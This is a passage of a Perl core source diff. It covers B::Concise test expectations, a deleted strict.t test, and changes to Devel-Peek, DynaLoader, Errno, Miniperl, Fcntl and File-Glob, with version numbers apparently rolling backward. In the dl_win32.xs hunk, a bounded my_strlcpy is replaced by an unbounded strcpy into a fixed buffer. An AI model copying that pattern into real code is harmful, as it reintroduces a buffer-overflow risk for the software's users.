const(PV "strict.pm") s/BARE -# a <1> require sK/1 -# b <;> nextstate(B::Concise -1113 Concise.pm:181) :*,&,x*,x&,x$,$ -# c <0> pushmark s -# d <$> const(PV "strict") sM -# e <$> const(PV "refs") sM -# f <.> method_named(PV "unimport") -# g <1> entersub[t1] KRS*/TARG,STRICT -# h <1> leavesub[1 ref] K/REFC,1 +# b <;> nextstate(B::Concise -265 Concise.pm:367) v:*,&,x*,x&,x$,$ +# c <$> const(PV "strict.pm") s/BARE +# d <1> require sK/1 +# e <;> nextstate(B::Concise -265 Concise.pm:367) :*,&,x*,x&,x$,$ +# f <0> pushmark s +# g <$> const(PV "strict") sM +# h <$> const(PV "refs") sM +# i <.> method_named(PV "unimport") +# j <1> entersub[t1] KRS*/TARG,STRICT +# k <1> leavesub[1 ref] K/REFC,1 # BEGIN 3: -# i <;> nextstate(B::Concise -1010 Concise.pm:303) v:*,&,x*,x&,x$,$ -# j <$> const(PV "strict.pm") s/BARE -# k <1> require sK/1 -# l <;> nextstate(B::Concise -1010 Concise.pm:303) :*,&,x*,x&,x$,$ -# m <0> pushmark s -# n <$> const(PV "strict") sM -# o <$> const(PV "refs") sM -# p <.> method_named(PV "unimport") -# q <1> entersub[t1] KRS*/TARG,STRICT -# r <1> leavesub[1 ref] K/REFC,1 +# l <;> nextstate(B::Concise -254 Concise.pm:386) v:*,&,{,x*,x&,x$,$ +# m <$> const(PV "warnings.pm") s/BARE +# n <1> require sK/1 +# o <;> nextstate(B::Concise -254 Concise.pm:386) :*,&,{,x*,x&,x$,$ +# p <0> pushmark s +# q <$> const(PV "warnings") sM +# r <$> const(PV "qw") sM +# s <.> method_named(PV "unimport") +# t <1> entersub[t1] KRS*/TARG,STRICT +# u <1> leavesub[1 ref] K/REFC,1 # BEGIN 4: -# s <;> nextstate(B::Concise -963 Concise.pm:368) v:*,&,{,x*,x&,x$,$ -# t <$> const(PV "strict.pm") s/BARE -# u <1> require sK/1 -# v <;> nextstate(B::Concise -963 Concise.pm:368) :*,&,{,x*,x&,x$,$ -# w <0> pushmark s -# x <$> const(PV "strict") sM -# y <$> const(PV "refs") sM -# z <.> method_named(PV "unimport") -# 10 <1> entersub[t1] KRS*/TARG,STRICT -# 11 <1> leavesub[1 ref] K/REFC,1 -# BEGIN 5: -# 12 <;> nextstate(B::Concise -938 Concise.pm:388) v:*,&,x*,x&,x$,$ -# 13 <$> const(PV "strict.pm") s/BARE -# 14 <1> require sK/1 -# 15 <;> nextstate(B::Concise -938 Concise.pm:388) :*,&,x*,x&,x$,$ -# 16 <0> pushmark s -# 17 <$> const(PV "strict") sM -# 18 <$> const(PV "refs") sM -# 19 <.> method_named(PV "unimport") -# 1a <1> entersub[t1] KRS*/TARG,STRICT -# 1b <1> leavesub[1 ref] K/REFC,1 -# BEGIN 6: -# 1c <;> nextstate(B::Concise -924 Concise.pm:408) v:*,&,{,x*,x&,x$,$ -# 1d <$> const(PV "warnings.pm") s/BARE -# 1e <1> require sK/1 -# 1f <;> nextstate(B::Concise -924 Concise.pm:408) :*,&,{,x*,x&,x$,$ -# 1g <0> pushmark s -# 1h <$> const(PV "warnings") sM -# 1i <$> const(PV "qw") sM -# 1j <.> method_named(PV "unimport") -# 1k <1> entersub[t1] KRS*/TARG,STRICT -# 1l <1> leavesub[1 ref] K/REFC,1 -# BEGIN 7: -# 1m <;> nextstate(main 3 -e:1) v:>,<,%,{ -# 1n <$> gvsv(*beg) s -# 1o <1> postinc[t2] sK/1 -# 1p <1> leavesub[1 ref] K/REFC,1 +# v <;> nextstate(main 2 -e:1) v:>,<,%,{ +# w <$> gvsv(*beg) s +# x <1> postinc[t2] sK/1 +# y <1> leavesub[1 ref] K/REFC,1 # END 1: -# 1q <;> nextstate(main 9 -e:1) v:>,<,%,{ -# 1r <$> gvsv(*end) s -# 1s <1> postinc[t2] sK/1 -# 1t <1> leavesub[1 ref] K/REFC,1 +# z <;> nextstate(main 5 -e:1) v:>,<,%,{ +# 10 <$> gvsv(*end) s +# 11 <1> postinc[t2] sK/1 +# 12 <1> leavesub[1 ref] K/REFC,1 # INIT 1: -# 1u <;> nextstate(main 7 -e:1) v:>,<,%,{ -# 1v <$> gvsv(*init) s -# 1w <1> postinc[t2] sK/1 -# 1x <1> leavesub[1 ref] K/REFC,1 +# 13 <;> nextstate(main 4 -e:1) v:>,<,%,{ +# 14 <$> gvsv(*init) s +# 15 <1> postinc[t2] sK/1 +# 16 <1> leavesub[1 ref] K/REFC,1 # CHECK 1: -# 1y <;> nextstate(main 5 -e:1) v:>,<,%,{ -# 1z <$> gvsv(*chk) s -# 20 <1> postinc[t2] sK/1 -# 21 <1> leavesub[1 ref] K/REFC,1 +# 17 <;> nextstate(main 3 -e:1) v:>,<,%,{ +# 18 <$> gvsv(*chk) s +# 19 <1> postinc[t2] sK/1 +# 1a <1> leavesub[1 ref] K/REFC,1 # UNITCHECK 1: -# 22 <;> nextstate(main 11 -e:1) v:>,<,%,{ -# 23 <$> gvsv(*uc) s -# 24 <1> postinc[t2] sK/1 -# 25 <1> leavesub[1 ref] K/REFC,1 +# 1b <;> nextstate(main 6 -e:1) v:>,<,%,{ +# 1c <$> gvsv(*uc) s +# 1d <1> postinc[t2] sK/1 +# 1e <1> leavesub[1 ref] K/REFC,1 EONT_EONT + # perl "-I../lib" -MO=Concise,BEGIN,CHECK,INIT,END,-exec -e '$a=$b && print q/foo/' + + checkOptree ( name => 'regression test for patch 25352', bcopts => [qw/ BEGIN END INIT CHECK -exec /], prog => 'print q/foo/', expect => <<'EOT_EOT', expect_nt => <<'EONT_EONT'); # BEGIN 1: # 1 <;> nextstate(B::Concise -275 Concise.pm:356) v:*,&,{,x*,x&,x$,$ -# 2 <#> gv[*STDOUT] s -# 3 <1> rv2gv sKRM/STRICT,1 -# 4 <1> srefgen sK/1 -# 5 <#> gvsv[*B::Concise::walkHandle] s -# 6 <2> sassign sKS/2 -# 7 <1> leavesub[1 ref] K/REFC,1 +# 2 <$> const[PV "strict.pm"] s/BARE +# 3 <1> require sK/1 +# 4 <;> nextstate(B::Concise -275 Concise.pm:356) :*,&,{,x*,x&,x$,$ +# 5 <0> pushmark s +# 6 <$> const[PV "strict"] sM +# 7 <$> const[PV "refs"] sM +# 8 <.> method_named[PV "unimport"] +# 9 <1> entersub[t1] KRS*/TARG,STRICT +# a <1> leavesub[1 ref] K/REFC,1 # BEGIN 2: -# 8 <;> nextstate(B::Concise -1113 Concise.pm:181) v:*,&,x*,x&,x$,$ -# 9 <$> const[PV "strict.pm"] s/BARE -# a <1> require sK/1 -# b <;> nextstate(B::Concise -1113 Concise.pm:181) :*,&,x*,x&,x$,$ -# c <0> pushmark s -# d <$> const[PV "strict"] sM -# e <$> const[PV "refs"] sM -# f <.> method_named[PV "unimport"] -# g <1> entersub[t1] KRS*/TARG,STRICT -# h <1> leavesub[1 ref] K/REFC,1 +# b <;> nextstate(B::Concise -265 Concise.pm:367) v:*,&,x*,x&,x$,$ +# c <$> const[PV "strict.pm"] s/BARE +# d <1> require sK/1 +# e <;> nextstate(B::Concise -265 Concise.pm:367) :*,&,x*,x&,x$,$ +# f <0> pushmark s +# g <$> const[PV "strict"] sM +# h <$> const[PV "refs"] sM +# i <.> method_named[PV "unimport"] +# j <1> entersub[t1] KRS*/TARG,STRICT +# k <1> leavesub[1 ref] K/REFC,1 # BEGIN 3: -# i <;> nextstate(B::Concise -1010 Concise.pm:303) v:*,&,x*,x&,x$,$ -# j <$> const[PV "strict.pm"] s/BARE -# k <1> require sK/1 -# l <;> nextstate(B::Concise -1010 Concise.pm:303) :*,&,x*,x&,x$,$ -# m <0> pushmark s -# n <$> const[PV "strict"] sM -# o <$> const[PV "refs"] sM -# p <.> method_named[PV "unimport"] -# q <1> entersub[t1] KRS*/TARG,STRICT -# r <1> leavesub[1 ref] K/REFC,1 -# BEGIN 4: -# s <;> nextstate(B::Concise -963 Concise.pm:368) v:*,&,{,x*,x&,x$,$ -# t <$> const[PV "strict.pm"] s/BARE -# u <1> require sK/1 -# v <;> nextstate(B::Concise -963 Concise.pm:368) :*,&,{,x*,x&,x$,$ -# w <0> pushmark s -# x <$> const[PV "strict"] sM -# y <$> const[PV "refs"] sM -# z <.> method_named[PV "unimport"] -# 10 <1> entersub[t1] KRS*/TARG,STRICT -# 11 <1> leavesub[1 ref] K/REFC,1 -# BEGIN 5: -# 12 <;> nextstate(B::Concise -938 Concise.pm:388) v:*,&,x*,x&,x$,$ -# 13 <$> const[PV "strict.pm"] s/BARE -# 14 <1> require sK/1 -# 15 <;> nextstate(B::Concise -938 Concise.pm:388) :*,&,x*,x&,x$,$ -# 16 <0> pushmark s -# 17 <$> const[PV "strict"] sM -# 18 <$> const[PV "refs"] sM -# 19 <.> method_named[PV "unimport"] -# 1a <1> entersub[t1] KRS*/TARG,STRICT -# 1b <1> leavesub[1 ref] K/REFC,1 -# BEGIN 6: -# 1c <;> nextstate(B::Concise -924 Concise.pm:408) v:*,&,{,x*,x&,x$,$ -# 1d <$> const[PV "warnings.pm"] s/BARE -# 1e <1> require sK/1 -# 1f <;> nextstate(B::Concise -924 Concise.pm:408) :*,&,{,x*,x&,x$,$ -# 1g <0> pushmark s -# 1h <$> const[PV "warnings"] sM -# 1i <$> const[PV "qw"] sM -# 1j <.> method_named[PV "unimport"] -# 1k <1> entersub[t1] KRS*/TARG,STRICT -# 1l <1> leavesub[1 ref] K/REFC,1 +# l <;> nextstate(B::Concise -254 Concise.pm:386) v:*,&,{,x*,x&,x$,$ +# m <$> const[PV "warnings.pm"] s/BARE +# n <1> require sK/1 +# o <;> nextstate(B::Concise -254 Concise.pm:386) :*,&,{,x*,x&,x$,$ +# p <0> pushmark s +# q <$> const[PV "warnings"] sM +# r <$> const[PV "qw"] sM +# s <.> method_named[PV "unimport"] +# t <1> entersub[t1] KRS*/TARG,STRICT +# u <1> leavesub[1 ref] K/REFC,1 EOT_EOT # BEGIN 1: -# 1 <;> nextstate(B::Concise -1151 Concise.pm:116) v:*,&,{,x*,x&,x$,$ -# 2 <$> gv(*STDOUT) s -# 3 <1> rv2gv sKRM/STRICT,1 -# 4 <1> srefgen sK/1 -# 5 <$> gvsv(*B::Concise::walkHandle) s -# 6 <2> sassign sKS/2 -# 7 <1> leavesub[1 ref] K/REFC,1 +# 1 <;> nextstate(B::Concise -275 Concise.pm:356) v:*,&,{,x*,x&,x$,$ +# 2 <$> const(PV "strict.pm") s/BARE +# 3 <1> require sK/1 +# 4 <;> nextstate(B::Concise -275 Concise.pm:356) :*,&,{,x*,x&,x$,$ +# 5 <0> pushmark s +# 6 <$> const(PV "strict") sM +# 7 <$> const(PV "refs") sM +# 8 <.> method_named(PV "unimport") +# 9 <1> entersub[t1] KRS*/TARG,STRICT +# a <1> leavesub[1 ref] K/REFC,1 # BEGIN 2: -# 8 <;> nextstate(B::Concise -1113 Concise.pm:181) v:*,&,x*,x&,x$,$ -# 9 <$> const(PV "strict.pm") s/BARE -# a <1> require sK/1 -# b <;> nextstate(B::Concise -1113 Concise.pm:181) :*,&,x*,x&,x$,$ -# c <0> pushmark s -# d <$> const(PV "strict") sM -# e <$> const(PV "refs") sM -# f <.> method_named(PV "unimport") -# g <1> entersub[t1] KRS*/TARG,STRICT -# h <1> leavesub[1 ref] K/REFC,1 +# b <;> nextstate(B::Concise -265 Concise.pm:367) v:*,&,x*,x&,x$,$ +# c <$> const(PV "strict.pm") s/BARE +# d <1> require sK/1 +# e <;> nextstate(B::Concise -265 Concise.pm:367) :*,&,x*,x&,x$,$ +# f <0> pushmark s +# g <$> const(PV "strict") sM +# h <$> const(PV "refs") sM +# i <.> method_named(PV "unimport") +# j <1> entersub[t1] KRS*/TARG,STRICT +# k <1> leavesub[1 ref] K/REFC,1 # BEGIN 3: -# i <;> nextstate(B::Concise -1010 Concise.pm:303) v:*,&,x*,x&,x$,$ -# j <$> const(PV "strict.pm") s/BARE -# k <1> require sK/1 -# l <;> nextstate(B::Concise -1010 Concise.pm:303) :*,&,x*,x&,x$,$ -# m <0> pushmark s -# n <$> const(PV "strict") sM -# o <$> const(PV "refs") sM -# p <.> method_named(PV "unimport") -# q <1> entersub[t1] KRS*/TARG,STRICT -# r <1> leavesub[1 ref] K/REFC,1 -# BEGIN 4: -# s <;> nextstate(B::Concise -963 Concise.pm:368) v:*,&,{,x*,x&,x$,$ -# t <$> const(PV "strict.pm") s/BARE -# u <1> require sK/1 -# v <;> nextstate(B::Concise -963 Concise.pm:368) :*,&,{,x*,x&,x$,$ -# w <0> pushmark s -# x <$> const(PV "strict") sM -# y <$> const(PV "refs") sM -# z <.> method_named(PV "unimport") -# 10 <1> entersub[t1] KRS*/TARG,STRICT -# 11 <1> leavesub[1 ref] K/REFC,1 -# BEGIN 5: -# 12 <;> nextstate(B::Concise -938 Concise.pm:388) v:*,&,x*,x&,x$,$ -# 13 <$> const(PV "strict.pm") s/BARE -# 14 <1> require sK/1 -# 15 <;> nextstate(B::Concise -938 Concise.pm:388) :*,&,x*,x&,x$,$ -# 16 <0> pushmark s -# 17 <$> const(PV "strict") sM -# 18 <$> const(PV "refs") sM -# 19 <.> method_named(PV "unimport") -# 1a <1> entersub[t1] KRS*/TARG,STRICT -# 1b <1> leavesub[1 ref] K/REFC,1 -# BEGIN 6: -# 1c <;> nextstate(B::Concise -924 Concise.pm:408) v:*,&,{,x*,x&,x$,$ -# 1d <$> const(PV "warnings.pm") s/BARE -# 1e <1> require sK/1 -# 1f <;> nextstate(B::Concise -924 Concise.pm:408) :*,&,{,x*,x&,x$,$ -# 1g <0> pushmark s -# 1h <$> const(PV "warnings") sM -# 1i <$> const(PV "qw") sM -# 1j <.> method_named(PV "unimport") -# 1k <1> entersub[t1] KRS*/TARG,STRICT -# 1l <1> leavesub[1 ref] K/REFC,1 +# l <;> nextstate(B::Concise -254 Concise.pm:386) v:*,&,{,x*,x&,x$,$ +# m <$> const(PV "warnings.pm") s/BARE +# n <1> require sK/1 +# o <;> nextstate(B::Concise -254 Concise.pm:386) :*,&,{,x*,x&,x$,$ +# p <0> pushmark s +# q <$> const(PV "warnings") sM +# r <$> const(PV "qw") sM +# s <.> method_named(PV "unimport") +# t <1> entersub[t1] KRS*/TARG,STRICT +# u <1> leavesub[1 ref] K/REFC,1 EONT_EONT diff --git a/ext/B/t/strict.t b/ext/B/t/strict.t deleted file mode 100644 index 4d1b84aa20dc..000000000000 --- a/ext/B/t/strict.t +++ /dev/null @@ -1,30 +0,0 @@ -#!./perl -w - -use strict; -use warnings; - -use Config; -use Test::More; - -BEGIN { - if ( ( $Config{'extensions'} !~ /\sB\s/ ) ) { - plan skip_all => "Perl was not compiled with B"; - exit 0; - } -} - -use strict; -use warnings; - -use B (); -use O (); - -foreach my $module (qw/B O/) { - my $path = $INC{ $module . '.pm' }; - my $check = "$^X -cw -Mstrict $path 2>&1"; - my $got = `$check`; - is( $got, "$path syntax OK\n", "$module.pm compiles without errors" ) - or diag($got); -} - -done_testing(); diff --git a/ext/B/t/terse.t b/ext/B/t/terse.t index 7d0253addc31..26e2e7605462 100644 --- a/ext/B/t/terse.t +++ b/ext/B/t/terse.t @@ -63,7 +63,7 @@ warn "# didn't find " . join(' ', keys %ops) if keys %ops; # add it to the regex above too. (PADOPs are currently only produced # under ithreads, though). # -our ( $a, $b ); +use vars qw( $a $b ); sub bar { # OP SVOP COP IV here or in sub definition my @bar = (1, 2, 3); @@ -92,7 +92,11 @@ sub bar { # Schwern's example of finding an RV my $path = join " ", map { qq["-I$_"] } @INC; my $items = qx{$^X $path "-MO=Terse" -le "print \\42" 2>&1}; -like( $items, qr/IV $hex \\42/, 'RV (but now stored in an IV)' ); +if( $] >= 5.011 ) { + like( $items, qr/IV $hex \\42/, 'RV (but now stored in an IV)' ); +} else { + like( $items, qr/RV $hex \\42/, 'RV' ); +} package TieOut; diff --git a/ext/Devel-Peek/Peek.pm b/ext/Devel-Peek/Peek.pm index 3d790e763ad2..4ce8b4531b94 100644 --- a/ext/Devel-Peek/Peek.pm +++ b/ext/Devel-Peek/Peek.pm @@ -3,7 +3,7 @@ package Devel::Peek; -$VERSION = '1.27'; +$VERSION = '1.26'; $XS_VERSION = $VERSION; $VERSION = eval $VERSION; diff --git a/ext/Devel-Peek/Peek.xs b/ext/Devel-Peek/Peek.xs index 8a8c0b96d76f..cde3e51decb5 100644 --- a/ext/Devel-Peek/Peek.xs +++ b/ext/Devel-Peek/Peek.xs @@ -444,7 +444,7 @@ BOOT: { CV * const cv = get_cvn_flags("Devel::Peek::Dump", 17, 0); assert(cv); - cv_set_call_checker_flags(cv, S_ck_dump, (SV *)cv, 0); + cv_set_call_checker(cv, S_ck_dump, (SV *)cv); Perl_custom_op_register(aTHX_ S_pp_dump, &my_xop); } diff --git a/ext/Devel-Peek/t/Peek.t b/ext/Devel-Peek/t/Peek.t index 2c0c849cf6be..2b1ed5d562e5 100644 --- a/ext/Devel-Peek/t/Peek.t +++ b/ext/Devel-Peek/t/Peek.t @@ -359,10 +359,11 @@ do_test('reference to regexp', RV = $ADDR SV = REGEXP\\($ADDR\\) at $ADDR REFCNT = 1 - FLAGS = \\(OBJECT,POK,FAKE,pPOK\\) + FLAGS = \\(OBJECT,POK,FAKE,pPOK\\) # $] < 5.017006 + FLAGS = \\(OBJECT,FAKE\\) # $] >= 5.017006 PV = $ADDR "\\(\\?\\^:tic\\)" CUR = 8 - LEN = 0 + LEN = 0 # $] < 5.017006 STASH = $ADDR\\t"Regexp"' . ($] < 5.013 ? '' : ' @@ -386,10 +387,9 @@ do_test('reference to regexp', . ($] < 5.019003 ? '' : ' SV = REGEXP\($ADDR\) at $ADDR REFCNT = 2 - FLAGS = \(POK,pPOK\) + FLAGS = \(\) PV = $ADDR "\(\?\^:tic\)" CUR = 8 - LEN = \d+ COMPFLAGS = 0x0 \(\) EXTFLAGS = 0x680000 \(CHECK_ALL,USE_INTUIT_NOML,USE_INTUIT_ML\) (?: ENGINE = $ADDR \(STANDARD\) @@ -1162,10 +1162,9 @@ do_test('UTF-8 in a regular expression', RV = $ADDR SV = REGEXP\($ADDR\) at $ADDR REFCNT = 1 - FLAGS = \(OBJECT,POK,FAKE,pPOK,UTF8\) + FLAGS = \(OBJECT,FAKE,UTF8\) PV = $ADDR "\(\?\^u:\\\\\\\\x\{100\}\)" \[UTF8 "\(\?\^u:\\\\\\\\x\{100\}\)"\] CUR = 13 - LEN = 0 STASH = $ADDR "Regexp" COMPFLAGS = 0x0 \(\) EXTFLAGS = $ADDR \(CHECK_ALL,USE_INTUIT_NOML,USE_INTUIT_ML\) @@ -1187,10 +1186,9 @@ do_test('UTF-8 in a regular expression', . ($] < 5.019003 ? '' : ' SV = REGEXP\($ADDR\) at $ADDR REFCNT = 2 - FLAGS = \(POK,pPOK,UTF8\) + FLAGS = \(UTF8\) PV = $ADDR "\(\?\^u:\\\\\\\\x\{100\}\)" \[UTF8 "\(\?\^u:\\\\\\\\x\{100\}\)"\] CUR = 13 - LEN = \d+ COMPFLAGS = 0x0 \(\) EXTFLAGS = $ADDR \(CHECK_ALL,USE_INTUIT_NOML,USE_INTUIT_ML\) (?: ENGINE = $ADDR \(STANDARD\) @@ -1459,7 +1457,6 @@ for my $test ( dumpindent is 4 at -e line 1. 1 leave LISTOP(0xNNN) ===> [0x0] - PARENT ===> [0x0] TARG = 1 FLAGS = (VOID,KIDS,PARENS,SLABBED) PRIVATE = (REFC) diff --git a/ext/DynaLoader/DynaLoader_pm.PL b/ext/DynaLoader/DynaLoader_pm.PL index 41e6f9421914..bd9562582247 100644 --- a/ext/DynaLoader/DynaLoader_pm.PL +++ b/ext/DynaLoader/DynaLoader_pm.PL @@ -85,7 +85,7 @@ package DynaLoader; # Tim.Bunce@ig.co.uk, August 1994 BEGIN { - $VERSION = '1.45'; + $VERSION = '1.42'; } EOT @@ -454,7 +454,7 @@ sub dl_findfile { # Deal with directories first: # Using a -L prefix is the preferred option (faster and more robust) - if ( s{^-L}{} ) { push(@dirs, $_); next; } + if (m:^-L:) { s/^-L//; push(@dirs, $_); next; } # Otherwise we try to try to spot directories by a heuristic # (this is a more complicated issue than it first appears) @@ -468,8 +468,10 @@ sub dl_findfile { # Only files should get this far... my(@names, $name); # what filenames to look for - if ( s{^-l}{} ) { # convert -lname to appropriate library name - push(@names, "lib$_.$dl_so", "lib$_.a"); + if (m:-l: ) { # convert -lname to appropriate library name + s/-l//; + push(@names,"lib$_.$dl_so"); + push(@names,"lib$_.a"); } else { # Umm, a bare name. Try various alternatives: # these should be ordered with the most likely first push(@names,"$_.$dl_dlext") unless m/\.$dl_dlext$/o; @@ -564,7 +566,7 @@ DynaLoader - Dynamically load C libraries into Perl code package YourPackage; require DynaLoader; @ISA = qw(... DynaLoader ...); - __PACKAGE__->bootstrap; + bootstrap YourPackage; # optional method for 'global' loading sub dl_load_flags { 0x01 } diff --git a/ext/DynaLoader/dl_aix.xs b/ext/DynaLoader/dl_aix.xs index 54a8e3db133a..8e7d8ac0a55d 100644 --- a/ext/DynaLoader/dl_aix.xs +++ b/ext/DynaLoader/dl_aix.xs @@ -226,7 +226,7 @@ void *dlopen(char *path, int mode) * Scan the list of modules if have the module already loaded. */ for (mp = dl_modList; mp; mp = mp->next) - if (strEQ(mp->name, path)) { + if (strcmp(mp->name, path) == 0) { mp->refCnt++; return mp; } @@ -364,7 +364,7 @@ void *dlsym(void *handle, const char *symbol) * the result to function pointers anyways. */ for (ep = mp->exports, i = mp->nExports; i; i--, ep++) - if (strEQ(ep->name, symbol)) + if (strcmp(ep->name, symbol) == 0) return ep->addr; dl_errvalid++; strcpy(dl_errbuf, "dlsym: undefined symbol "); diff --git a/ext/DynaLoader/dl_win32.xs b/ext/DynaLoader/dl_win32.xs index b076f2141cb6..3260402f3d63 100644 --- a/ext/DynaLoader/dl_win32.xs +++ b/ext/DynaLoader/dl_win32.xs @@ -82,7 +82,7 @@ dl_static_linked(char *filename) return 0; /* change all the '\\' to '/' */ - my_strlcpy(szBuffer, filename, sizeof(szBuffer)); + strcpy(szBuffer, filename); for(ptr = szBuffer; ptr = strchr(ptr, '\\'); ++ptr) *ptr = '/'; @@ -102,7 +102,7 @@ dl_static_linked(char *filename) if (hptr = strstr(ptr, *p)) { /* found substring, need more detailed check if module name match */ if (hptr==ptr) { - return strEQ(ptr, *p); + return strcmp(ptr, *p)==0; } if (hptr[strlen(*p)] == 0) return hptr[-1]=='/'; diff --git a/ext/DynaLoader/dlutils.c b/ext/DynaLoader/dlutils.c index 8584f89e6bba..557c0ec1db69 100644 --- a/ext/DynaLoader/dlutils.c +++ b/ext/DynaLoader/dlutils.c @@ -75,16 +75,18 @@ static void dl_unload_all_files(pTHX_ void *unused) { CV *sub; - PERL_UNUSED_ARG(unused); + AV *dl_librefs; + SV *dl_libref; + if ((sub = get_cvs("DynaLoader::dl_unload_file", 0)) != NULL) { - AV *dl_librefs = get_av("DynaLoader::dl_librefs", 0); - SV *dl_libref; + dl_librefs = get_av("DynaLoader::dl_librefs", 0); + EXTEND(SP,1); while ((dl_libref = av_pop(dl_librefs)) != &PL_sv_undef) { dSP; ENTER; SAVETMPS; PUSHMARK(SP); - XPUSHs(sv_2mortal(dl_libref)); + PUSHs(sv_2mortal(dl_libref)); PUTBACK; call_sv((SV*)sub, G_DISCARD | G_NODEBUG); FREETMPS; diff --git a/ext/Errno/Errno_pm.PL b/ext/Errno/Errno_pm.PL index d565f31b2fec..d345e980423c 100644 --- a/ext/Errno/Errno_pm.PL +++ b/ext/Errno/Errno_pm.PL @@ -2,7 +2,7 @@ use ExtUtils::MakeMaker; use Config; use strict; -our $VERSION = "1.29"; +our $VERSION = "1.28"; my %err = (); @@ -257,7 +257,7 @@ sub write_errno_pm { my($name,$expr); next unless ($name, $expr) = /"(.*?)"\s*\[\s*\[\s*(.*?)\s*\]\s*\]/; next if $name eq $expr; - $expr =~ s/\(?\(\s*[a-z_]\w*\s*\)\(?([^\)]+)\)?\)?/$1/i; # ((type)0xcafebabe) et alia + $expr =~ s/\(?\(\s*[a-z_]\w*\s*\)\(?([^\)]+)\)?\)?/$1/i; # ((type)0xcafebabe) at alia $expr =~ s/\b((?:0x)?[0-9a-f]+)[LU]+\b/$1/gi; # 2147483647L et alia next if $expr =~ m/\b[a-z_]\w*\b/i; # skip expressions containing function names etc if($expr =~ m/^0[xX]/) { diff --git a/ext/ExtUtils-Miniperl/lib/ExtUtils/Miniperl.pm b/ext/ExtUtils-Miniperl/lib/ExtUtils/Miniperl.pm index 6090970adc99..5d397b1bdef1 100644 --- a/ext/ExtUtils-Miniperl/lib/ExtUtils/Miniperl.pm +++ b/ext/ExtUtils-Miniperl/lib/ExtUtils/Miniperl.pm @@ -4,9 +4,11 @@ use strict; require Exporter; use ExtUtils::Embed 1.31, qw(xsi_header xsi_protos xsi_body); -our @ISA = qw(Exporter); -our @EXPORT = qw(writemain); -our $VERSION = '1.08'; +use vars qw($VERSION @ISA @EXPORT); + +@ISA = qw(Exporter); +@EXPORT = qw(writemain); +$VERSION = '1.06'; # blead will run this with miniperl, hence we can't use autodie or File::Temp my $temp; @@ -151,7 +153,8 @@ main(int argc, char **argv, char **env) PL_perl_destruct_level = 0; } PL_exit_flags |= PERL_EXIT_DESTRUCT_END; - if (!perl_parse(my_perl, xs_init, argc, argv, (char **)NULL)) + exitstatus = perl_parse(my_perl, xs_init, argc, argv, (char **)NULL); + if (!exitstatus) perl_run(my_perl); #ifndef PERL_MICRO diff --git a/ext/Fcntl/t/fcntl.t b/ext/Fcntl/t/fcntl.t index af649b52ce17..b689f781cc84 100644 --- a/ext/Fcntl/t/fcntl.t +++ b/ext/Fcntl/t/fcntl.t @@ -12,13 +12,11 @@ print "1..7\n"; print "ok 1\n"; if (sysopen(my $wo, "fcntl$$", O_WRONLY|O_CREAT)) { - binmode $wo; print "ok 2\n"; if (syswrite($wo, "foo") == 3) { print "ok 3\n"; close($wo); if (sysopen(my $ro, "fcntl$$", O_RDONLY)) { - binmode $ro; print "ok 4\n"; if (sysread($ro, my $read, 3)) { print "ok 5\n"; diff --git a/ext/Fcntl/t/syslfs.t b/ext/Fcntl/t/syslfs.t index 7537d548760c..00e072ba6045 100644 --- a/ext/Fcntl/t/syslfs.t +++ b/ext/Fcntl/t/syslfs.t @@ -72,7 +72,6 @@ if ($^O eq 'unicos') { sysopen(BIG, $big1, O_WRONLY|O_CREAT|O_TRUNC) or die "sysopen $big1 failed: $!"; -binmode BIG; sysseek(BIG, 1_000_000, SEEK_SET) or die "sysseek $big1 failed: $!"; syswrite(BIG, "big") or @@ -86,7 +85,6 @@ print "# s1 = @s1\n"; sysopen(BIG, $big2, O_WRONLY|O_CREAT|O_TRUNC) or die "sysopen $big2 failed: $!"; -binmode BIG; sysseek(BIG, 2_000_000, SEEK_SET) or die "sysseek $big2 failed: $!"; syswrite(BIG, "big") or @@ -129,7 +127,6 @@ EOF sysopen(BIG, $big0, O_WRONLY|O_CREAT|O_TRUNC) or die "sysopen $big0 failed: $!"; -binmode BIG; my $sysseek = sysseek(BIG, 5_000_000_000, SEEK_SET); unless (! $r && defined $sysseek && $sysseek == 5_000_000_000) { $sysseek = 'undef' unless defined $sysseek; @@ -195,7 +192,7 @@ is(-e $big0, 1); is(-f $big0, 1); sysopen(BIG, $big0, O_RDONLY) or die "sysopen failed: $!"; -binmode BIG; + offset('sysseek(BIG, 4_500_000_000, SEEK_SET)', 4_500_000_000); offset('sysseek(BIG, 0, SEEK_CUR)', 4_500_000_000); diff --git a/ext/File-Glob/Glob.pm b/ext/File-Glob/Glob.pm index 07df4941a104..c619749fa0fb 100644 --- a/ext/File-Glob/Glob.pm +++ b/ext/File-Glob/Glob.pm @@ -37,7 +37,7 @@ pop @{$EXPORT_TAGS{bsd_glob}}; # no "glob" @EXPORT_OK = (@{$EXPORT_TAGS{'glob'}}, 'csh_glob'); -$VERSION = '1.31'; +$VERSION = '1.28'; sub import { require Exporter; diff --git a/ext/File-Glob/Glob.xs b/ext/File-Glob/Glob.xs index 9779d54ca6a7..e0a36814e096 100644 --- a/ext/File-Glob/Glob.xs +++ b/ext/File-Glob/Glob.xs @@ -121,7 +121,7 @@ iterate(pTHX_ bool(*globber)(pTHX_ AV *entries, const char *pat, STRLEN len, boo /* chuck it all out, quick or slow */ if (gimme == G_ARRAY) { - if (!on_stack && AvFILLp(entries) + 1) { + if (!on_stack) { EXTEND(SP, AvFILLp(entries)+1); Copy(AvARRAY(entries), SP+1, AvFILLp(entries)+1, SV *); SP += AvFILLp(entries)+1; diff --git a/ext/File-Glob/bsd_glob.c b/ext/File-Glob/bsd_glob.c index 0d042b4afb50..821ef200ad6c 100644 --- a/ext/File-Glob/bsd_glob.c +++ b/ext/File-Glob/bsd_glob.c @@ -87,7 +87,9 @@ static char sscsid[]= "$OpenBSD: glob.c,v 1.8.10.1 2001/04/10 jason Exp $"; # endif #endif +#ifdef I_LIMITS #include +#endif #ifndef ARG_MAX # ifdef _SC_ARG_MAX @@ -561,12 +563,8 @@ glob0(const Char *pattern, glob_t *pglob) break; case BG_STAR: pglob->gl_flags |= GLOB_MAGCHAR; - /* Collapse adjacent stars to one. - * This is required to ensure that a pattern like - * "a**" matches a name like "a", as without this - * check when the first star matched everything it would - * cause the second star to return a match fail. - * As long ** is folded here this does not happen. + /* collapse adjacent stars to one, + * to avoid exponential behavior */ if (bufnext == patbuf || bufnext[-1] != M_ALL) *bufnext++ = M_ALL; @@ -911,56 +909,35 @@ globextend(const Char *path, glob_t *pglob, size_t *limitp) /* - * pattern matching function for filenames using state machine to avoid - * recursion. We maintain a "nextp" and "nextn" to allow us to backtrack - * without additional callframes, and to do cleanly prune the backtracking - * state when multiple '*' (start) matches are included in the pattern. - * - * Thanks to Russ Cox for the 